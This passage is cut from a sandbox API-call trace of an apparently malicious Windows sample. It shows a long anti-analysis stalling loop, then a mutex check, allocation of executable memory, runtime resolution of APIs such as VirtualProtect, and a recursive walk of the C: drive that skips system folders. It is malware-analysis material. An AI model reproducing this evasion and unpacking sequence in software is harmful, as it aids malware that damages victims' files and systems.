(nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.477] GetSystemMetrics (nIndex=25) returned 0 [0041.477] CountClipboardFormats () returned 0 [0041.477] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.477] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.478] GetSystemMetrics (nIndex=25) returned 0 [0041.478] CountClipboardFormats () returned 0 [0041.478] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.478] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.479] GetSystemMetrics (nIndex=25) returned 0 [0041.479] CountClipboardFormats () returned 0 [0041.479] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.479] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.480] GetSystemMetrics (nIndex=25) returned 0 [0041.480] CountClipboardFormats () returned 0 [0041.480] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.480] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.481] GetSystemMetrics (nIndex=25) returned 0 [0041.481] CountClipboardFormats () returned 0 [0041.481] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.481] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.482] GetFocus () returned 0x0 [0041.482] GetSystemMetrics (nIndex=25) returned 0 [0041.482] CountClipboardFormats () returned 0 [0041.482] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.483] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.483] GetFocus () returned 0x0 [0041.483] GetSystemMetrics (nIndex=25) returned 0 [0041.483] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.484] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.484] GetFocus () returned 0x0 [0041.484] GetSystemMetrics (nIndex=25) returned 0 [0041.484] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] GetSystemMetrics (nIndex=25) returned 0 [0041.485] CountClipboardFormats () returned 0 [0041.485] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0041.485] GetFocus () returned 0x0 [0041.485] Sleep (dwMilliseconds=0x0) [0041.491] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0041.491] GetLastError () returned 0x2 [0041.491] GetLocalTime (in: lpSystemTime=0x36fb78 | out: lpSystemTime=0x36fb78*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x17, wMilliseconds=0x38e)) [0041.491] VarI4FromUI1 (in: bIn=0x1, plOut=0x36fb88 | out: plOut=0x36fb88) returned 0x0 [0041.491] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36f9bc | out: ProcedureAddress=0x36f9bc*=0x75a01856) returned 0x0 [0041.491] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0x70000 [0041.493] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36f9f4 | out: ProcedureAddress=0x36f9f4*=0x75a01856) returned 0x0 [0041.493] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0x90000 [0041.493] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x75a049d7) returned 0x0 [0041.493] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x75a01826) returned 0x0 [0041.493] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x75a01222) returned 0x0 [0041.494] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x75a01856) returned 0x0 [0041.494] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x75a0435f) returned 0x0 [0041.494] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x772e742b) returned 0x0 [0041.494] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x36fa64 | out: ProcedureAddress=0x36fa64*=0x772e5f41) returned 0x0 [0041.494] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x752a0000 [0041.494] GetProcAddress (hModule=0x752a0000, lpProcName="strchr") returned 0x752adbeb [0041.494] GetProcAddress (hModule=0x752a0000, lpProcName="free") returned 0x752a9894 [0041.494] GetProcAddress (hModule=0x752a0000, lpProcName="malloc") returned 0x752a9cee [0041.494] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x759f0000 [0041.494] GetProcAddress (hModule=0x759f0000, lpProcName="FreeConsole") returned 0x75aa6aa8 [0041.494] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenW") returned 0x75a01700 [0041.494] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcatW") returned 0x75a2828e [0041.494] GetProcAddress (hModule=0x759f0000, lpProcName="FindFirstFileW") returned 0x75a04435 [0041.494] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpW") returned 0x75a05929 [0041.495] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcpyW") returned 0x75a23102 [0041.495] GetProcAddress (hModule=0x759f0000, lpProcName="FindNextFileW") returned 0x75a054ee [0041.495] GetProcAddress (hModule=0x759f0000, lpProcName="FindClose") returned 0x75a04442 [0041.495] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleHandleA") returned 0x75a01245 [0041.495] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleFileNameA") returned 0x75a014b1 [0041.497] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameA") returned 0x75a1b6e0 [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameExA") returned 0x75a842ef [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenA") returned 0x75a05a4b [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpA") returned 0x75a1eceb [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="GetLastError") returned 0x75a011c0 [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="GetProcessHeap") returned 0x75a014e9 [0041.498] GetProcAddress (hModule=0x759f0000, lpProcName="HeapAlloc") returned 0x7729e026 [0041.499] GetProcAddress (hModule=0x759f0000, lpProcName="HeapFree") returned 0x75a014c9 [0041.499] GetProcAddress (hModule=0x759f0000, lpProcName="SetLastError") returned 0x75a011a9 [0041.499] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcess") returned 0x75a01809 [0041.499] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcessId") returned 0x75a011f8 [0041.499] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75790000 [0041.499] GetProcAddress (hModule=0x75790000, lpProcName="wsprintfA") returned 0x757bae5f [0041.499] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x756e0000 [0041.499] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x7570a4b4 [0041.499] lstrcpyW (in: lpString1=0x5f2718, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0041.499] lstrlenW (lpString="c:\\") returned 3 [0041.499] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0041.499] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 0x3b5c98 [0041.499] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0041.499] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0041.500] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0041.500] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0041.500] lstrlenW (lpString="c:\\") returned 3 [0041.500] lstrlenW (lpString="$Recycle.Bin") returned 12 [0041.500] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0041.500] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0041.500] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0041.500] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0041.500] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0x3b5cd8 [0041.500] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.500] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.500] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.500] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.500] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.502] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0041.502] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0041.502] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0041.502] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0041.502] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0041.503] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0041.503] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0041.503] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0041.503] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.504] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.504] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: 